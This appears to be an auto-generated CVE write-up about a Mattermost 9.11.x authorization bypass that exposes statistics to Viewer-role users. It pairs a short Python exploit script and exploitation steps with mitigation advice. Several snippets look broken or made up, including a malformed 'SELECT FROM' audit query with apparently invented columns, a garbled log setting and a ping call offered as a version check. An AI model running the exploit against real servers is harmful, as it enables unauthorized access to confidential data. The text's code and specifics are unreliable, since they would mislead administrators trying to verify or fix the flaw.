How the CVE Works:
Mattermost versions 9.11.x up to and including 9.11.8 contain a vulnerability in the authorization mechanism for the Viewer role. Specifically, the system fails to properly enforce role-based access controls (RBAC) for users assigned the Viewer role with “No Access to Reporting” permissions. This flaw allows an attacker with the Viewer role to bypass intended restrictions and access sensitive team and site statistics, which should be restricted to users with higher privileges. The issue arises due to improper validation of user permissions when generating and displaying statistical data, enabling unauthorized access to confidential information.
DailyCVE Form:
Platform: Mattermost
Version: 9.11.x <= 9.11.8
Vulnerability: Authorization Bypass
Severity: Moderate
Date: Mar 19, 2025
What Undercode Say:
Exploitation:
1. Exploit Code (Python):
import requests
target_url = "https://<mattermost-server>/api/v4/statistics"
headers = {
"Authorization": "Bearer <viewer-role-token>",
"Content-Type": "application/json"
}
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print("Statistics accessed:", response.json())
else:
print("Access denied:", response.status_code)
2. Steps to Exploit:
- Obtain a valid token for a user with the Viewer role and “No Access to Reporting.”
- Send a GET request to the `/api/v4/statistics` endpoint.
- Bypass authorization and retrieve team/site statistics.
Mitigation:
1. Patch Application:
- Upgrade Mattermost to version 9.11.9 or later, where the issue is resolved.
2. Temporary Workaround:
- Restrict access to the `/api/v4/statistics` endpoint using a web application firewall (WAF) or reverse proxy rules.
- Example Nginx rule:
location /api/v4/statistics { deny all; return 403; }
3. Audit User Roles:
- Review and reconfigure Viewer roles to ensure “No Access to Reporting” is enforced.
- Use the following SQL query to identify misconfigured roles:
SELECT FROM Roles WHERE RoleName = 'Viewer' AND ReportingAccess = 'No';
4. Monitoring:
- Enable logging for unauthorized access attempts to the statistics endpoint.
- Example Mattermost log configuration:
LogSettings: EnableDiagnostics: true FileLevel: "INFO"
5. Security Best Practices:
- Implement least privilege principles for all roles.
- Regularly audit and update access controls.
Additional Commands:
- Check Installed Version:
curl -X GET https://<mattermost-server>/api/v4/system/ping
- Verify Patch Installation:
grep "Version" /opt/mattermost/config/config.json
By following these steps, organizations can mitigate the risk posed by this vulnerability and ensure their Mattermost instances remain secure.
References:
Reported By: https://github.com/advisories/GHSA-fqrq-xmxj-v47x
Extra Source Hub:
Undercode
